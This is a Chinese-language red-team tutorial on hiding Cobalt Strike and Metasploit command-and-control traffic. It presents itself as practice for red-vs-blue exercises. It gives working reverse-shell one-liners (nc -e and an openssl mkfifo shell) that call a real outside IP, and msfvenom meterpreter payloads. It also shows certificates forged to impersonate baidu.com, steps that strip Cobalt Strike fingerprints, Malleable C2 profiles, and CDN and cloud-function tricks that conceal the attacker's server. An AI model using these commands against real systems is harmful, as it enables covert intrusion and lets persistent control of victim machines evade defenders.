背景交代:
在红蓝对抗或日常测试中会出现一种情况,当我们终于让目标机器上线后,
却因为明显的通信特征被安全设备检测到从而失去目标机器的控制权限,
这时就需要对Cobalt Strike或MSF的特征进行隐藏、对其通信流量进行混淆。
常见红蓝对抗中红队面临问题:
1、通讯协议走TCP&UDP协议,直接被防火墙限制出网
2、通讯协议走无加密HTTP协议,直接明文传输成指纹特征
3、通讯协议走HTTPS或DNS加密协议,直接工具证书成指纹特征
4、通讯协议走HTTPS或DNS加密协议,特征指纹等修改后又被朔源拉黑
红队进行权限控制,主机开始限制出网,尝试走常见出网协议http/https,结果流量设备入侵检测检测系统发现异常,尝试修改工具指纹特征加密流量防止检测,结果被定位到控制服务器,再次使用CDN,云函数,第三方上线等进行隐藏保证权限维持。
蓝队发现处置情况:
1.蓝队-朔源后拉黑控制IP
2.蓝队-设备平台指纹告警
3.蓝队-流量分析异常告警
NC-未加密&加密后-流量抓包对比
nc -lvvp 5566 nc -e /bin/bash 47.94.130.42 5566
在我们的攻击端生成自签名证书(加ssl)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
在攻击机上监听指定端口,这里我选择4455
openssl s_server -quiet -key key.pem -cert cert.pem -port 4455
在受害机上执行shell反弹命令(注意修改ip和端口)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.94.130.42:4455 > /tmp/s;
这里可以看到,流量进行了加密,只能隐约的看到一些ssl证书信息。
MSF-流量通讯特征修改-证书-openssl
解决HTTPS-SSL通讯证书被特征标示问题
传统msf虽然使用https等加密方式,不过仍然会有特征(head头部固定)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST=47.94.130.42 LPORT=4455 -f exe -o msf.exe
为了方便流量与其他协议作区分,这里我使用http协议;生成后在虚拟机中上线,不过遇到了奇怪的事情就是,我在上线的虚拟机中抓不到http流量的数据包,而在物理机中抓到了(emmm我也不太懂为什么会这样)
这里可以很明显的看到:固定的GET/POST乱码请求,以及固定的Firefox UA头,下方的post乱码数据是我做的命令交互
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=47.94.130.42 LPORT=4455 -f exe -o msf-https.exe
那么如果使用msf生成https协议的后门呢?
采用msf自带的证书进行上线(但是还是会被流量设备、IDS、IPS等设备检测(特征库))
这里可以看到msf自带的证书,这里我们对该证书进行伪装(这里其实流量上没做什么改变,知识对默认证书指纹做了修改)
1.利用openssl生成证书:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.com.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt
2.MSF生成绑定证书后门:
2.MSF生成绑定证书后门: msfvenom -p windows/
3.MSF监听上线:
use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 0.0.0.0 set lport 5566 set HandlerSSLCert /root/www.baidu.com.pem set StagerVerifySSLCert true run
impersonate_ssl模块
此外Metasploit框架还有一个auxiliary/gather/impersonate_ssl模块,可以用来自动从信任源创建一个虚假证书,十分方便:
use auxiliary/gather/impersonate_ssl set RHOST www.baidu.com run
CS-流量通讯特征修改-证书指纹-keytool
-解决HTTP/S通讯证书及流量特征被特征标示问题
JDK Keytool 修改CS特征
1.修改默认端口:
编辑teamserver文件,更改server port默认端口50050
比如说我这里伪装成MongoDB数据库端口,同样连接服务端的时候密码也需要更改为27017
此外CS在运行的时候加载cobalstrike.store证书(默认配置)
2.去除store证书特征:
查看证书指纹:
keytool -list -v -keystore cobaltstrike.store #keytool java jdk自带
这里可以很明显的看到很明显的cobaltstrike特征,于是我们在证书指纹方面对CS进行二次更改
生成自定义证书指纹:
keytool -keystore cobaltstrike1.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias whgojp.top -dname "CN=whgojp e-Szigno Root CA, OU=e-Szigno CA, O=whogjp Ltd., L=Budapest, S=HU, C=HU"
应用证书指纹:
keytool -importkeystore -srckeystore cobaltstrike1.store -destkeystore cobaltstrike1.store -deststoretype pkcs12
3、去除流量通讯特征:
背景:CS原始HTTP监听器心跳数据包
规则资源:
https://github.com/xx0hcd/Malleable-C2-Profiles
https://github.com/FortyNorthSecurity/C2concealer
重新生成后门文件进行上线抓取心跳包
成功修改心跳包特征
DIY Profiles文件
1.创建C2文件:xiaodi.Profiles
2.写入通讯规则: UA头&GET&POST&心跳&证书等
3.测试规则正常:./c2lint whgojp.prifile
4.加载C2规则启动:
./teamserver ip 密码 whgojp.Profiles
https-certificate { set CN "whgojp e-Szigno Root CA"; set O "whogjp Ltd."; set C "HU"; set L "Budapest"; set OU "e-Szigno CA"; set ST "HU"; set validity "365"; }
#设置,修改成你的证书名称和证书密码
code-signer{ set keystore "whgojp.store"; set password "123456"; set alias "whgojp.top"; }
伪造的证书与下方对应
keytool -keystore whgojp.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias whgojp.top -dname "CN=whgojp e-Szigno Root CA, OU=e-Szigno CA, O=whogjp Ltd., L=Budapest, S=HU, C=HU"
隐藏:
域前置、CDN、云函数,网盘第三方上线等
CS-防封锁处置IP地址-C2&CDN隐藏IP
解决HTTPS-SSL通讯被朔源IP封锁问题
配置:
https://mp.weixin.qq.com/s/MghFgegdp3l3tFE3hOvcYw
1、阿里云备案域名&全站加速CDN配置
尝试超级ping一下,配置成功
开了CDN之后,每超级ping一次都是人民币的声音emmm
2、CS创建监听器-HTTPS/Stager/Header
3、生成后门-进程网络状态&威胁情报平台
成功上线运行
使用火绒剑查看网络连接情况
很显然这里并不是我的真实IP 赶快把CDN服务关了,顶不住了
发挥想象:
域前置?转发器换成CDN;
云函数?转发器换成云函数转发;
代理隐藏?转发器换成代理机;
网关隐藏?转发器换成网关;